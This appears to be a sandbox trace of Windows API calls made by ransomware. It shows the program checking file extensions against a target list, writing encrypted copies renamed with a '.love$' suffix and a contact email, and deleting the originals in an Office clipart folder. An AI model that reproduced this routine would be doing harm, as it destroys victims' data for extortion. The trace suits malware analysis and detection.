[0235.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0235.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 1 [0235.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0235.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0235.628] lstrlenW (lpString=".doc") returned 4 [0235.628] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.628] lstrlenW (lpString=".docx") returned 5 [0235.628] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.628] lstrlenW (lpString=".pdf") returned 4 [0235.628] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.628] lstrlenW (lpString=".xls") returned 4 [0235.628] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.628] lstrlenW (lpString=".xlsx") returned 5 [0235.628] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.628] lstrlenW (lpString=".ppt") returned 4 [0235.628] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0235.628] lstrlenW (lpString=".zip") returned 4 [0235.628] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.628] lstrlenW (lpString=".rar") returned 4 [0235.628] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.628] lstrlenW (lpString=".bz2") returned 4 [0235.628] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.628] lstrlenW (lpString=".7z") returned 3 [0235.628] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0235.628] lstrlenW (lpString=".dbf") returned 4 [0235.628] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0235.628] lstrlenW (lpString=".1cd") returned 4 [0235.629] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0235.629] lstrlenW (lpString=".jpg") returned 4 [0235.629] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0235.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0235.629] lstrlenW (lpString=".doc") returned 4 [0235.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.629] lstrlenW (lpString=".docx") returned 5 [0235.629] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.629] lstrlenW (lpString=".pdf") returned 4 [0235.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.629] lstrlenW (lpString=".xls") returned 4 [0235.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.629] lstrlenW (lpString=".xlsx") returned 5 [0235.629] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.629] lstrlenW (lpString=".ppt") returned 4 [0235.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0235.630] lstrlenW (lpString=".zip") returned 4 [0235.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.630] lstrlenW (lpString=".rar") returned 4 [0235.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.630] lstrlenW (lpString=".bz2") returned 4 [0235.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.630] lstrlenW (lpString=".7z") returned 3 [0235.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0235.630] lstrlenW (lpString=".dbf") returned 4 [0235.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0235.630] lstrlenW (lpString=".1cd") returned 4 [0235.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0235.630] lstrlenW (lpString=".jpg") returned 4 [0235.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.631] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0235.631] lstrlenW (lpString="BS00136_.WMF") returned 12 [0235.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0235.632] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2166) returned 1 [0235.632] CloseHandle (hObject=0x3bc) returned 1 [0235.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x220 [0235.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0235.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0235.633] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.633] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.634] GetLastError () returned 0x0 [0235.634] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x876, lpOverlapped=0x0) returned 1 [0235.636] WriteFile (in: hFile=0x4bc, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x880, lpOverlapped=0x0) returned 1 [0235.637] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.637] WriteFile (in: hFile=0x4bc, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.637] SetEndOfFile (hFile=0x4bc) returned 1 [0235.637] CloseHandle (hObject=0x4bc) returned 1 [0235.637] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.637] SetEndOfFile (hFile=0x3bc) returned 1 [0235.641] CloseHandle (hObject=0x3bc) returned 1 [0235.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0235.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 1 [0235.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0235.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0235.643] lstrlenW (lpString=".doc") returned 4 [0235.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.643] lstrlenW (lpString=".docx") returned 5 [0235.643] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.643] lstrlenW (lpString=".pdf") returned 4 [0235.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.643] lstrlenW (lpString=".xls") returned 4 [0235.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.643] lstrlenW (lpString=".xlsx") returned 5 [0235.643] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.643] lstrlenW (lpString=".ppt") returned 4 [0235.643] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0235.643] lstrlenW (lpString=".zip") returned 4 [0235.643] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.643] lstrlenW (lpString=".rar") returned 4 [0235.643] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.643] lstrlenW (lpString=".bz2") returned 4 [0235.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.643] lstrlenW (lpString=".7z") returned 3 [0235.643] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0235.643] lstrlenW (lpString=".dbf") returned 4 [0235.643] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0235.644] lstrlenW (lpString=".1cd") returned 4 [0235.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0235.644] lstrlenW (lpString=".jpg") returned 4 [0235.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0235.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0235.644] lstrlenW (lpString=".doc") returned 4 [0235.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.644] lstrlenW (lpString=".docx") returned 5 [0235.644] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.644] lstrlenW (lpString=".pdf") returned 4 [0235.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.644] lstrlenW (lpString=".xls") returned 4 [0235.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.644] lstrlenW (lpString=".xlsx") returned 5 [0235.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.644] lstrlenW (lpString=".ppt") returned 4 [0235.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0235.644] lstrlenW (lpString=".zip") returned 4 [0235.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.644] lstrlenW (lpString=".rar") returned 4 [0235.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.644] lstrlenW (lpString=".bz2") returned 4 [0235.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.644] lstrlenW (lpString=".7z") returned 3 [0235.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0235.645] lstrlenW (lpString=".dbf") returned 4 [0235.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0235.645] lstrlenW (lpString=".1cd") returned 4 [0235.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0235.645] lstrlenW (lpString=".jpg") returned 4 [0235.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.645] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0235.645] lstrlenW (lpString="BS00145_.WMF") returned 12 [0235.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0235.646] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1712) returned 1 [0235.646] CloseHandle (hObject=0x3bc) returned 1 [0235.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x220 [0235.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0235.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0235.647] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.647] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.648] GetLastError () returned 0x0 [0235.648] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x6b0, lpOverlapped=0x0) returned 1 [0235.650] WriteFile (in: hFile=0x4bc, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x6c0, lpOverlapped=0x0) returned 1 [0235.651] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.652] WriteFile (in: hFile=0x4bc, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.652] SetEndOfFile (hFile=0x4bc) returned 1 [0235.652] CloseHandle (hObject=0x4bc) returned 1 [0235.652] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.652] SetEndOfFile (hFile=0x3bc) returned 1 [0235.993] CloseHandle (hObject=0x3bc) returned 1 [0235.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0235.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 1 [0235.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0235.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0235.995] lstrlenW (lpString=".doc") returned 4 [0235.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.995] lstrlenW (lpString=".docx") returned 5 [0235.995] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.995] lstrlenW (lpString=".pdf") returned 4 [0235.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.995] lstrlenW (lpString=".xls") returned 4 [0235.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.995] lstrlenW (lpString=".xlsx") returned 5 [0235.995] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.995] lstrlenW (lpString=".ppt") returned 4 [0235.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0235.995] lstrlenW (lpString=".zip") returned 4 [0235.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.995] lstrlenW (lpString=".rar") returned 4 [0235.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.995] lstrlenW (lpString=".bz2") returned 4 [0235.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.995] lstrlenW (lpString=".7z") returned 3 [0235.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0235.996] lstrlenW (lpString=".dbf") returned 4 [0235.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0235.996] lstrlenW (lpString=".1cd") returned 4 [0235.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0235.996] lstrlenW (lpString=".jpg") returned 4 [0235.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0235.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0235.996] lstrlenW (lpString=".doc") returned 4 [0235.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.996] lstrlenW (lpString=".docx") returned 5 [0235.996] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.996] lstrlenW (lpString=".pdf") returned 4 [0235.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.996] lstrlenW (lpString=".xls") returned 4 [0235.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.996] lstrlenW (lpString=".xlsx") returned 5 [0235.996] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.996] lstrlenW (lpString=".ppt") returned 4 [0235.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0235.996] lstrlenW (lpString=".zip") returned 4 [0235.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.997] lstrlenW (lpString=".rar") returned 4 [0235.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.997] lstrlenW (lpString=".bz2") returned 4 [0235.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.997] lstrlenW (lpString=".7z") returned 3 [0235.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0235.997] lstrlenW (lpString=".dbf") returned 4 [0235.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0235.997] lstrlenW (lpString=".1cd") returned 4 [0235.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0235.997] lstrlenW (lpString=".jpg") returned 4 [0235.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.997] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0235.997] lstrlenW (lpString="BS00200_.WMF") returned 12 [0235.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0235.999] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3104) returned 1 [0235.999] CloseHandle (hObject=0x3bc) returned 1 [0235.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x220 [0235.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0235.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0236.000] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.000] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0236.001] GetLastError () returned 0x0 [0236.001] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xc20, lpOverlapped=0x0) returned 1 [0237.802] WriteFile (in: hFile=0x4c0, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xc30, lpOverlapped=0x0) returned 1 [0237.803] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.803] WriteFile (in: hFile=0x4c0, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.803] SetEndOfFile (hFile=0x4c0) returned 1 [0238.019] CloseHandle (hObject=0x4c0) returned 1 [0238.020] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.020] SetEndOfFile (hFile=0x3bc) returned 1 [0238.054] CloseHandle (hObject=0x3bc) returned 1 [0238.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0238.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft 